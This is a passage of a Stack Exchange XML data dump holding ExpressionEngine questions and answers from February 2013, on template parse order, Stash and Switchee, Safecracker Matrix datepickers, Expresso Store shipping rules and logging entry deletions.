  <row Id="5891" PostTypeId="2" ParentId="5890" CreationDate="2013-02-06T02:09:13.460" Score="4" Body="&lt;p&gt;Your code looks correct. Could it be that you only have a single page of search results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see you have a &lt;code&gt;limit&lt;/code&gt; parameter on the tag, but it actually does not accept that parameter. The number of search results per-page is actually determined by the &lt;code&gt;results&lt;/code&gt; parameter on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html&quot; rel=&quot;nofollow&quot;&gt;Search Form&lt;/a&gt; tag which sends you to the results page.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-06T02:09:13.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5892" PostTypeId="2" ParentId="5872" CreationDate="2013-02-06T02:56:46.460" Score="0" Body="&lt;p&gt;@nonprofit_tech, here is where I am...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited the subsite index.php to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     $assign_to_config['site_name'] = 'lynne';&#xA;     $assign_to_config['site_url'] = 'http://www.rickandlynne.com/lynne';&#xA;&#xA;     $assign_to_config['template_group'] = 'lynne';&#xA;     $assign_to_config['template'] = 'index';&#xA;     $assign_to_config['site_index'] = 'index.php';&#xA;     $assign_to_config['site_404'] = '';&#xA;     $assign_to_config['global_vars'] = array(); // This array must be associative&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing the uri_protocol did not seem to make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These changes make everything work. Pagination works and login from the subsite returns the user to the home page of the subsite. So, you definitely pointed me in the right direction.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subsite URLs do look weird, something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rickandlynne.com/lynne/index.php/lynne/comments/doggie_snow_angel&quot; rel=&quot;nofollow&quot;&gt;http://www.rickandlynne.com/lynne/index.php/lynne/comments/doggie_snow_angel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for a comment page, with the extra &quot;lynne/index.php&quot; stuff there. But, at least the site works. (On my sub site, I've named index.php to be &quot;go&quot; so it looks less weird.) I did not need to use the low find/replace in the pagination code, but may find that useful as I continue to learn how this works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not set up any global_vars for the subsite and exploring that might lead to further insight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, thanks for pointing me in the right direction. My wife is now less upset about the disruption to her blog from the EE upgrade. Too bad the folks at EE (who were pmachine when I started using them) and who got their start from enthusiastic &quot;hobbiest&quot; supporters like me have abandoned support for hobbiests. As I recall, this all started as something of a hobby for Rick.&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2013-02-06T02:56:46.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5893" PostTypeId="1" CreationDate="2013-02-06T03:42:32.853" Score="1" ViewCount="264" Body="&lt;p&gt;I have a snippet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:number_format number=&quot;{price}&quot; decimals=&quot;2&quot;  dec_point=&quot;.&quot; thousands_sep=&quot;,&quot;}&#xA;I use this snippet in two pages.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The weird thing about this is that in one page, it outputs correctly while in the other one does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I passed 19000.00 in both of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one page, I get 19000.00 but in the other one I got 0.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok I noticed that in the problem page, I am using Switchee while in the working page, I don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the problem page to not use Switchee and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that this is somewhat a parse order problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the sample code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;#some regex expressions here#&quot;}&#xA;            {exp:low_search:results &#xA;            limit=&quot;10&quot;&#xA;            channel=&quot;foo&quot;&#xA;            paginate=&quot;bottom&quot;&#xA;            status=&quot;open&quot;&#xA;            parse=&quot;inward&quot;}&#xA;        {/case}&#xA;        {case default=&quot;Yes&quot;}&#xA;            {exp:low_search:results &#xA;            query=&quot;{segment_2}&quot;&#xA;            limit=&quot;10&quot;&#xA;            channel=&quot;foo&quot;&#xA;            paginate=&quot;bottom&quot;&#xA;            status=&quot;open&quot;&#xA;            parse=&quot;inward&quot;}&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;        ........&#xA;        &amp;lt;h2&amp;gt;{snippet.that.contains.the.number.format.code}&amp;lt;/h2&amp;gt;&#xA;        ........&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the snippet code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;${exp:number_format number=&quot;{price}&quot; decimals=&quot;2&quot;  dec_point=&quot;.&quot; thousands_sep=&quot;,&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ${exp:number_format number=&quot;{price}&quot; decimals=&quot;2&quot;  dec_point=&quot;.&quot; thousands_sep=&quot;,&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;${exp:number_format decimals=&quot;2&quot;  dec_point=&quot;.&quot; thousands_sep=&quot;,&quot; parse=&quot;inward&quot;}{price}{/exp:number_format} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in hopes of solving the problem. Unfortunately, it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all intents and purposes, {exp:low_search:results} is functionally the same as {exp:channel:entries}&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-08T02:09:07.587" LastActivityDate="2013-02-08T13:07:40.527" Title="{exp:number_format} not working on some pages" Tags="|number-format|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5895" PostTypeId="1" AcceptedAnswerId="5897" CreationDate="2013-02-06T05:59:20.063" Score="0" ViewCount="83" Body="&lt;p&gt;Say I have the following URLs for my Channel entry page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://site.com/used-toys/231/&#xA;http://site.com/new-toys/235/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: the pattern is: &lt;code&gt;template_group/entry_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They use the same Channel and display the exactly the same thing. The URLs are different for SEO purposes. What should I do so that I can remain DRY in respect to the markup that display these Channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The non-DRY way to do this is to just make sure that &lt;code&gt;used-toys/index&lt;/code&gt; is kept in sync with &lt;code&gt;new-toys/index&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash is probably a solution, but I have struggled with that the moment I start doing complex things where parse order matters. I'm hoping for an easier, native-EE solution.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-06T06:50:44.150" Title="How to manage templates?" Tags="|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5896" PostTypeId="2" ParentId="5895" CreationDate="2013-02-06T06:11:26.717" Score="0" Body="&lt;p&gt;You should not do this. It's going to harm your SEO more than it will improve it. Google will penalize you for having duplicate content, an generally only display one version of the content in its search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to improve SEO for lots of different terms, you need to write good content for each term. Each page should have a single canonical URL where the content is accessible from. Simply displaying the same page in two different locations is misguided SEO.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-06T06:11:26.717" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5897" PostTypeId="2" ParentId="5895" CreationDate="2013-02-06T06:50:44.150" Score="4" Body="&lt;p&gt;If you are talking about, reusing the same template format, in multiple templates, then technically that is what &lt;code&gt;{embeds}&lt;/code&gt; can be used for. To do this, we would do…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Template Group: used-toys/index&#xA;     {embed=&quot;include/toy-display&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Template Group: new-toys/index&#xA;     {embed=&quot;include/toy-display&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then have a single template that is used by both or any template, you wish the same display style for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Template Group: include/toy-display&#xA;     {embed=&quot;include/header&quot;}&#xA;     &amp;lt;div class=&quot;toy&quot;&amp;gt;&#xA;         your display details.&#xA;     &amp;lt;/div&amp;gt;&#xA;     {embed=&quot;include/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-06T06:50:44.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5898" PostTypeId="1" AcceptedAnswerId="5942" CreationDate="2013-02-06T08:52:19.803" Score="1" ViewCount="105" Body="&lt;p&gt;I'm doing lots of checks against segments to try and perm redirect a very large list of old URLs and seem to have run into an issue with conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'category' OR segment_1 == 'Category'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems to always return true, even if segment_1 == 'sajdhjknsdjksad'. Is there a known bug, or am I doing something incredibly stupid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cause of the issue appears to be the redirect plugin I'm using getting evaluated before advanced conditionals, and then proceeding to redirect even if it shouldn't have actually been called. I'm using RedirectURL by Rodrigo Passos&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditDate="2013-02-06T14:45:03.617" LastActivityDate="2013-02-07T00:23:19.270" Title="If statement with OR always returning TRUE" Tags="|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5901" PostTypeId="1" AcceptedAnswerId="5917" CreationDate="2013-02-06T10:14:11.653" Score="1" ViewCount="299" Body="&lt;p&gt;I have a Matrix with a field called end_date and its cell type set to Date.&lt;br&gt;&#xA;When the Matrix field is placed inside the following Safecracker form, the end_date datepicker displays correctly in the table cell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CODE_1&lt;br&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;browse&quot; return=&quot;some/path/URL_TITLE&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;} &#xA;    {field:my_matrix_field_name} &#xA;{/exp:safecracker}&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;However, I want to customise the layout, so have instead used this [post][1] to create:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CODE_2&lt;br&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;browse&quot; return=&quot;some/path/URL_TITLE&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;} &#xA;    {my_matrix_field_name}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;my_matrix_field_name[row_order][]&quot; value=&quot;row_id_{row_id}&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;my_matrix_field_name[row_id_{row_id}][col_id_1]&quot; value=&quot;{end_date}&quot;&amp;gt;&#xA;    {/my_matrix_field_name}&#xA;{/exp:safecracker}&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;&lt;strong&gt;Issue with CODE 2&lt;/strong&gt;: The data for the end_date field displays, BUT the datepicker does not display for the field. It just displays the default input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simple question&lt;/strong&gt;: Should the datepicker display by default?&lt;br&gt;&#xA;&lt;strong&gt;Possible solution&lt;/strong&gt;: Or do I need to use Stash to changer the parse order, as per this [post][2]?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.5.2 and Matrix 2.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read every post I can find over the last 24hrs looking for a solution. &lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-02-06T10:25:33.280" LastActivityDate="2013-02-06T20:38:00.587" Title="SAEF + Matrix + Date_field + custom layout, datepicker not displaying" Tags="|safecracker|matrix|date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5902" PostTypeId="2" ParentId="5893" CreationDate="2013-02-06T10:41:00.623" Score="1" Body="&lt;p&gt;This is more of a guide then a solution, experimentation is your friend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;    {exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;my case value&quot;}&#xA;            {stash:query}all{/stash:query}&#xA;        {/case}&#xA;        {case default=&quot;Yes&quot;}&#xA;            {stash:query}{segment_2}{/stash:query}&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further down the template, ese the stash'ed variable holding the variable defined above as the query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:low_search:results &#xA;    query=&quot;{exp:stash:query}&quot; // Whack the stash Var in here&#xA;    limit=&quot;10&quot;&#xA;    channel=&quot;foo&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    status=&quot;open&quot;&#xA;    parse=&quot;inward&quot;}&#xA;&#xA;      &amp;lt;h2&amp;gt;{snippet.that.contains.the.number.format.code}&amp;lt;/h2&amp;gt;&#xA;&#xA;  {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS. You will need to install &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; obviously :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-02-06T10:41:00.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5903" PostTypeId="1" CreationDate="2013-02-06T10:48:59.307" Score="1" ViewCount="196" Body="&lt;p&gt;I have one product with several modifiers. You can either pay offline for this product or pay online through paypal. I'm capturing various data from the form that the user fills in. Now I want to pull a report on &lt;strong&gt;all&lt;/strong&gt; the orders that have been processed so far with &lt;strong&gt;all&lt;/strong&gt; the details, such as product sku, customer name, address etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is when I try to pull a report using 'orders report', it only shows those orders which have been &lt;strong&gt;paid&lt;/strong&gt;. How do I show all orders no matter if they were paid or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="596" LastActivityDate="2013-11-01T10:44:44.557" Title="generating a report for all orders with all information expresso store" Tags="|expresso-store|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5904" PostTypeId="1" CreationDate="2013-02-06T11:11:24.303" Score="7" ViewCount="474" Body="&lt;p&gt;The Control Panel Log doesn't seem to record this type of activity. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="952" LastActivityDate="2013-03-08T16:32:01.520" Title="Is there a way to log entry deletions within EE?" Tags="|users|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5905" PostTypeId="2" ParentId="5904" CreationDate="2013-02-06T11:40:02.097" Score="4" Body="&lt;p&gt;Not natively, no. But there are various &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_edit/index.html#delete-entries-end&quot; rel=&quot;nofollow&quot;&gt;extension hooks&lt;/a&gt; that you can tie into with a custom module to easily log to a file or database table.&lt;/p&gt;&#xA;" OwnerUserId="959" LastActivityDate="2013-02-06T11:40:02.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5906" PostTypeId="1" AcceptedAnswerId="5912" CreationDate="2013-02-06T11:53:58.570" Score="2" ViewCount="396" Body="&lt;p&gt;I need to create a form that allows customers to select various rental items from a large list of products. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users will be able to select the quantity of each item they require and then hit submit. Upon submitting the form no special inventory or e-commerce functionality needs to take place. An email simply needs to be sent to an admin with the requested items. They'll then contact the customer directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an exact example of what we're trying to replicate: &lt;a href=&quot;http://www.quixote.com/get_a_quote#.URIvJE_bpAN&quot; rel=&quot;nofollow&quot;&gt;http://www.quixote.com/get_a_quote#.URIvJE_bpAN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I immediately thought of &lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt;. But there are still a few issues there will be a large number of products that will probably need to be paginated. We'd need to be able to retain the user's selections across pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also need to be able to import the product info weekly via .csv file upload. For this I was planning on using &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out the best way to achieve this. Any suggestions would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="306" LastEditorUserId="293" LastEditDate="2013-02-06T16:00:53.360" LastActivityDate="2013-02-07T14:15:40.117" Title="How to create a multi-page rental order/catalog form with email notifications &amp; session?" Tags="|email|forms|solspace-freeform|how-to|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5907" PostTypeId="2" ParentId="5906" CreationDate="2013-02-06T12:48:23.123" Score="0" Body="&lt;p&gt;You might have a look at Joel Bradbury's &lt;a href=&quot;http://devot-ee.com/add-ons/shortlist&quot; rel=&quot;nofollow&quot;&gt;Shortlist&lt;/a&gt; add-on.  It may get you a chunk of the way there. It's specifically to allow user-generated lists of items. Whether it will support item + quantity, if the question, but he does reference amazon wish lists among his inspirations, and I believe they include quantities as well, or if it doesn't, perhaps he could customize it for you.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-06T12:48:23.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5908" PostTypeId="1" AcceptedAnswerId="5911" CreationDate="2013-02-06T13:02:26.937" Score="2" ViewCount="185" Body="&lt;p&gt;I'm working on a custom fieldtype that requires some validation via AJAX, which means I need an endpoint to direct my &lt;code&gt;$.get()&lt;/code&gt; requests to. I know that accessories support &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/accessories.html#processing-requests&quot; rel=&quot;nofollow&quot;&gt;process_x&lt;/a&gt; methods but fieldtypes don't appear to offer anything similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see my options are to create a module (which otherwise I have no need for) or an extension (ditto, really). I noticed that the VZ URL fieldtype &lt;a href=&quot;https://github.com/elivz/vz_url/blob/master/vz_url/ext.vz_url.php#L76&quot; rel=&quot;nofollow&quot;&gt;uses the sessions_start hook&lt;/a&gt; for this but that's not ideal as it's adding a little overhead to every single request, even frontend ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better, simpler option that I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2013-02-06T13:56:46.043" LastActivityDate="2013-02-06T13:56:46.043" Title="Creating AJAX endpoints for custom fieldtypes" Tags="|add-on-development|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5909" PostTypeId="1" AcceptedAnswerId="5935" CreationDate="2013-02-06T13:04:10.863" Score="2" ViewCount="100" Body="&lt;p&gt;I'm curious if anyone that has either done a comparison between the two or simply knows why one would be more efficient than the other. Stash set vs. set_list in storing multiple individual field variables for a single entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A template group index that generates &quot;pages&quot; on the basis of entries that includes, for example, the following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title (obviously)&lt;/li&gt;&#xA;&lt;li&gt;alt menu title&lt;/li&gt;&#xA;&lt;li&gt;body (RTE field)&lt;/li&gt;&#xA;&lt;li&gt;promo image&lt;/li&gt;&#xA;&lt;li&gt;extended body (RTE field)&lt;/li&gt;&#xA;&lt;li&gt;Meta Title&lt;/li&gt;&#xA;&lt;li&gt;Meta Description&lt;/li&gt;&#xA;&lt;li&gt;Meta Keywords&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So to create a variable out of each one of these fields distinctly, I could either wrap each with a simple stash:set tag pair or I could wrap the whole thing with a stash:set_list tag pair and wrap each variable with the tag pair to set each as list elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the wrapper template, in the set_list scenario, when I have several of these elements that actually need to appear together (like title, body, extended body and promo image, for example), I can use a single get_list tag pair to retrieve the several of them I need whereas with the simple set scenario, I would need a get for each variable separately, even if four of them follow one another sequentially in the markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the performance issues I should be worries about?  Or should I be worries about it?  To me, they seem to run about the same speed, but I wonder if the database and stash experts out there can speak to how/if there would be differences, particularly as the number of fields in a given field group climbs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have thought about the fact that the stashed body of the page could in fact combine several of the fields in the field group into a single stashed set (whether list or not).  But for the purposes of this example/question, I thought I'd keep them separate.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-06T21:40:12.847" Title="What's better for performance when storing multiple vars in a single entry with stash? Set or Set_list?" Tags="|stash|database|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5910" PostTypeId="2" ParentId="5803" CreationDate="2013-02-06T13:06:16.990" Score="1" Body="&lt;p&gt;This was revolved by installing CURL on the WAMP machine. It's a bit odd that &quot;New Version Check&quot; worked without CURL, but perhaps that uses a different method or I misunderstood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled CURL in WAMP by going to WAMP &gt; PHP &gt; Extensions and enabling the CURL extension.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-02-06T13:06:16.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5911" PostTypeId="2" ParentId="5908" CreationDate="2013-02-06T13:15:11.420" Score="3" Body="&lt;p&gt;As far as i know, you cannot do this in a fieldtype in any other way. What i've seen most often is a accompanying module that registers an action so that the method in the module acts as the ajax endpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not a huge amount of extra work thought is it really :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do fully appreciate what you're saying though, it's a shame it can't all be self contained in the fieldtype :(&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-02-06T13:15:11.420" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5912" PostTypeId="2" ParentId="5906" CreationDate="2013-02-06T13:41:58.523" Score="2" Body="&lt;p&gt;We did this sort of thing with Safecracker and a post-submit template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a template with PHP enabled, you can set your redirect URL in your Safecracker form to be that template. You can include the new entry's ID in the segment variables. (Not sure if we used an add-on for that or it's built-in.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That PHP template, set to run on output, can grab the new entry with &lt;code&gt;exp:channel:entries&lt;/code&gt;. You can then run PHP against that data. You can send it by email, send a confirmation email, post it to APIs, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that PHP template, you do a PHP redirect (&lt;code&gt;header('Location: /thank-you-page'); exit;&lt;/code&gt;) to the page you want the user to see - The page you would have otherwise used as your redirect URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that &quot;processor&quot; template, it's possible to accomplish this with EE tags, using add-ons to send the email. It doesn't matter what you do in that template. The idea is that you enable a &quot;processor&quot; template to run post-submit, and redirect from that template to the page you want the user to see. I set up a PHP solution first because oftentimes a custom solution needs custom work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That addresses the first part of your question - Sending an email on submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the pagination and storing the user's selections - I wonder if you could also do this with Safecracker? Set the prev/next buttons to be submit buttons that submit the form in progress. Instead of redirecting through your &quot;processor&quot; template, redirect them to the next page in the pagination. You would maintain the user's &quot;session&quot; through an entry in your submissions channel. You could have a status field that you leave set to &quot;in-progress&quot; and restore their form on a later visit. You could have a cron job that sweeps in-progress entries periodically and deletes old ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can submit a partial entry form using Safecracker, but you will need some core fields, such as title, url_title, entry_date. You can make those hidden fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to look at &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;. I have not used it, but it touts being able to configure sending of emails based on a number of triggers and variables.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-06T17:40:05.120" LastActivityDate="2013-02-06T17:40:05.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5913" PostTypeId="2" ParentId="5904" CreationDate="2013-02-06T14:00:21.010" Score="2" Body="&lt;p&gt;If this issue is occurring on a frequent/regular basis, you could remove delete privileges from that member group to see if the issue goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove delete privileges, you can still accomplish taking content offline using Status. &lt;code&gt;status==closed&lt;/code&gt; should disable content from appearing. Typically your editors should not be able to delete anything from the site, for reasons like this. They should have the power to take content off the site, but that's a much different action than a delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also see if &lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;Better Workflow&lt;/a&gt; supports more fine-grained options or the feature you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-06T14:00:21.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5914" PostTypeId="2" ParentId="5904" CreationDate="2013-02-06T14:10:44.737" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/experience/omnilog.ee_addon&quot; rel=&quot;nofollow&quot;&gt;OmniLog&lt;/a&gt; together with custom extension as suggested by Michael.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Control Panel logging solution is really missing for EE. I have a customer with problems similar to yours and also having hard time figuring out who's causing the problems. I think I will develop something eventually, but that's not my top priority for now.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-06T14:10:44.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5915" PostTypeId="1" AcceptedAnswerId="5916" CreationDate="2013-02-06T14:10:59.400" Score="3" ViewCount="290" Body="&lt;p&gt;I'm using Expresso Store and getting an error message: Error calculating shipping: No rules match the current cart.  Have read the documentation, couldn't find any answers there.  Do I have to link the products to the shipping in some way, or is there something I'm missing out on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having the problem with a live site and trying to fix this before I put the store live.  I've set up a copy of ExpressionEngine with Store 1.6.1 on my local machine to play around with, but I'm getting the same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a Products Channel and linked it to a Channel Field using the Store Product Details Field type. This is what I get when I go to Content &gt; Publish &gt; Products:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a dummy product as an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'm going to Store &gt;  Settings &gt; Shipping Methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a Method called Weight and set a rule as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unfortunately, I'm getting the above error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probable something silly I've done, or something small I've missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Screenshots:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Q6oS4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/Q6oS4.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JWen0.jpg&quot; rel=&quot;nofollow 